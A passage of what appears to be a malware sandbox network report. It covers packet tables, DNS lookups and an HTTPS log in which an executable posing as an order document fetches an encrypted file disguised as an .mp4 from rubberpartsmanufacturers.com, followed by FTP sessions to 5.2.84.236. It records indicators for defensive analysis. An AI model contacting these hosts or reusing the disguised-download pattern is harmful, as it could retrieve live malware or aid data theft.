Oct 9, 2024 15:02:05.920979023 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.921756029 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.921822071 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.922144890 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.922209978 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.922754049 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.922838926 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.923655033 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.923722029 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.923819065 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.923873901 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.924226999 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.924309015 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.924817085 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.924874067 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.925152063 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.925225973 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.925384998 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.925451994 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.926141977 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.926243067 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.927017927 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.927113056 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.927442074 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.927553892 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.927558899 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.927566051 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.927668095 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.928459883 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.928540945 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.929343939 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.929419041 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.929476976 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.929542065 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.929725885 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.929791927 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.929963112 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930006027 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930032015 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.930037975 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930073023 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.930099010 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.930331945 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930413008 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.930525064 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930629969 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.930768013 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.930836916 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931009054 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931051016 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931082010 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931087017 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931113005 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931135893 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931447983 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931520939 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931662083 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931729078 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.931907892 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.931978941 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932069063 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932132006 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932254076 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932286978 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932308912 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932313919 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932349920 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932374954 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932707071 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932750940 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932769060 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932773113 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932789087 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932825089 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932830095 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.932857037 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932874918 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.932966948 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933151960 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933379889 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.933417082 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.933454037 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933459044 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.933485985 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933504105 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933536053 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.933585882 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933772087 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.933780909 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933825970 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933940887 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.933940887 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934339046 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934393883 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934418917 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934425116 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934433937 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934441090 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934458017 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934462070 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934499025 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934597015 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934647083 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934889078 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934925079 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934942961 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.934947014 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.934968948 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.935005903 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.935360909 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.935425043 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.935434103 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.935482979 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.935487032 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.935497046 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.935534954 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.936120987 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.936182976 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.936187983 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.936196089 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.936254978 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.936605930 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.936659098 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.936701059 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.936753035 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937052011 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937100887 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937110901 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937114954 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937141895 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937150955 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937194109 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937199116 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937436104 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937505007 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937510014 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937647104 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937700987 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937706947 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937802076 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937844038 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937855005 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937860012 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.937890053 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.937910080 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938473940 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938518047 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938566923 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938570976 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938611031 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938611031 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938699007 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938760042 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938764095 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938776016 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938819885 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938819885 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.938832998 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.938882113 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939620972 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939667940 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939719915 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939719915 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939724922 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939735889 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939785004 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939794064 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939802885 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939825058 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939870119 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.939876080 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.939915895 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940582037 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940637112 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940660954 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940665007 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940680027 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940689087 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940709114 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940712929 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940742970 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940772057 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940813065 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940875053 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940875053 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.940890074 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.940936089 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941251993 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941371918 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941396952 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941404104 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941428900 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941440105 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941448927 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941452980 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941493034 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941571951 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941626072 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941632032 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941637039 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941675901 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.941679001 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941689014 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.941747904 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942121029 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942184925 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942275047 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942341089 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942342997 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942353964 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942397118 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942401886 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942408085 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942459106 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942470074 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942514896 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942526102 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942531109 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.942579985 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.942965031 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943032980 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943162918 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943211079 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943222046 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943226099 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943254948 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943262100 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943274021 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943278074 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943312883 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943342924 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.943346024 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943373919 CEST	443	49870	103.191.208.122	192.168.2.9
Oct 9, 2024 15:02:05.943432093 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:05.950669050 CEST	49870	443	192.168.2.9	103.191.208.122
Oct 9, 2024 15:02:08.040098906 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:08.045104027 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:08.045236111 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:08.675556898 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:08.675856113 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:08.680644035 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:08.900168896 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:08.923407078 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:08.928302050 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.167845011 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.168098927 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:09.173902035 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.394056082 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.394401073 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:09.399169922 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.618685007 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.618923903 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:09.624062061 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.631747961 CEST	49853	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:09.844202995 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:09.844340086 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:09.849729061 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.069533110 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.070804119 CEST	49905	65429	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.075763941 CEST	65429	49905	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.076009035 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.076186895 CEST	49905	65429	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.080889940 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.692442894 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.692825079 CEST	49905	65429	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.692825079 CEST	49905	65429	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.697674990 CEST	65429	49905	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.698143959 CEST	65429	49905	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.698544979 CEST	49905	65429	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.743115902 CEST	49894	21	192.168.2.9	5.2.84.236
Oct 9, 2024 15:02:10.917622089 CEST	21	49894	5.2.84.236	192.168.2.9
Oct 9, 2024 15:02:10.961879969 CEST	49894	21	192.168.2.9	5.2.84.236

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 15:01:36.187109947 CEST	50826	53	192.168.2.9	1.1.1.1
Oct 9, 2024 15:01:36.701447010 CEST	53	50826	1.1.1.1	192.168.2.9
Oct 9, 2024 15:01:43.251147032 CEST	52600	53	192.168.2.9	1.1.1.1
Oct 9, 2024 15:01:43.402820110 CEST	53	52600	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 9, 2024 15:01:36.187109947 CEST	192.168.2.9	1.1.1.1	0x506c	Standard query (0)	rubberpartsmanufacturers.com	A (IP address)	IN (0x0001)	false
Oct 9, 2024 15:01:43.251147032 CEST	192.168.2.9	1.1.1.1	0xee61	Standard query (0)	ftp.alternatifplastik.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 9, 2024 15:01:32.539725065 CEST	1.1.1.1	192.168.2.9	0xdfd0	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 15:01:32.539725065 CEST	1.1.1.1	192.168.2.9	0xdfd0	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 9, 2024 15:01:32.539725065 CEST	1.1.1.1	192.168.2.9	0xdfd0	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Oct 9, 2024 15:01:36.701447010 CEST	1.1.1.1	192.168.2.9	0x506c	No error (0)	rubberpartsmanufacturers.com		103.191.208.122	A (IP address)	IN (0x0001)	false
Oct 9, 2024 15:01:43.402820110 CEST	1.1.1.1	192.168.2.9	0xee61	No error (0)	ftp.alternatifplastik.com		5.2.84.236	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rubberpartsmanufacturers.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49727	103.191.208.122	443	7416	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-09 13:01:37 UTC	98	OUT	GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1 Host: rubberpartsmanufacturers.com Connection: Keep-Alive
2024-10-09 13:01:38 UTC	234	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 13:01:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 11:18:34 GMT Accept-Ranges: bytes Content-Length: 959504 Content-Type: video/mp4
2024-10-09 13:01:38 UTC	7958	IN	Data Raw: e2 28 15 53 f2 7b 15 07 aa d5 4d 1f 3b 2f 02 b6 03 27 fc aa 10 81 f7 c9 70 03 06 1c 22 aa 28 14 82 64 60 6b 1d 58 9a 33 26 ca 89 1a 85 b6 02 35 c2 db b3 17 1a 22 10 f8 52 46 a8 05 84 68 55 5f e8 21 39 2d 11 b0 72 e6 9d 6e 2e ad 62 02 65 3f ed 94 ae 42 c5 65 1f 2b 34 3c a4 a9 27 e5 15 4a cf ec 32 19 8c 82 8b 31 18 2b a1 e1 73 86 35 da 64 25 b7 00 79 1e 25 db 5f a0 a0 08 cd 61 d3 2f 8c 90 ca 6b a1 14 94 60 4f b2 d2 51 ec 16 0a 4a dd 58 71 61 70 b3 f2 b8 2d a3 10 12 5c 74 07 4a fe 91 81 8e c3 6d 8f b8 9b 5a 61 4e ac 3e 0f 1a c8 cb d9 30 fe 29 a8 48 31 23 94 28 92 fe d3 4d 2b bf 49 6d 42 09 ef 8b 4c 83 f8 fd 25 9f 39 71 61 4f c4 84 1c 4a e3 7a 18 96 a9 89 f9 08 06 f7 8d f7 2b b0 de 09 d9 91 64 d2 a3 bc be 29 76 2c 19 e1 cc 3f 71 5e 9d 69 81 f0 1a 05 77 d7 5f Data Ascii: (S{M;/'p"(d`kX3&5"RFhU_!9-rn.be?Be+4<'J21+s5d%y%_a/k`OQJXqap-\tJmZaN>0)H1#(M+ImBL%9qaOJz+d)v,?q^iw_
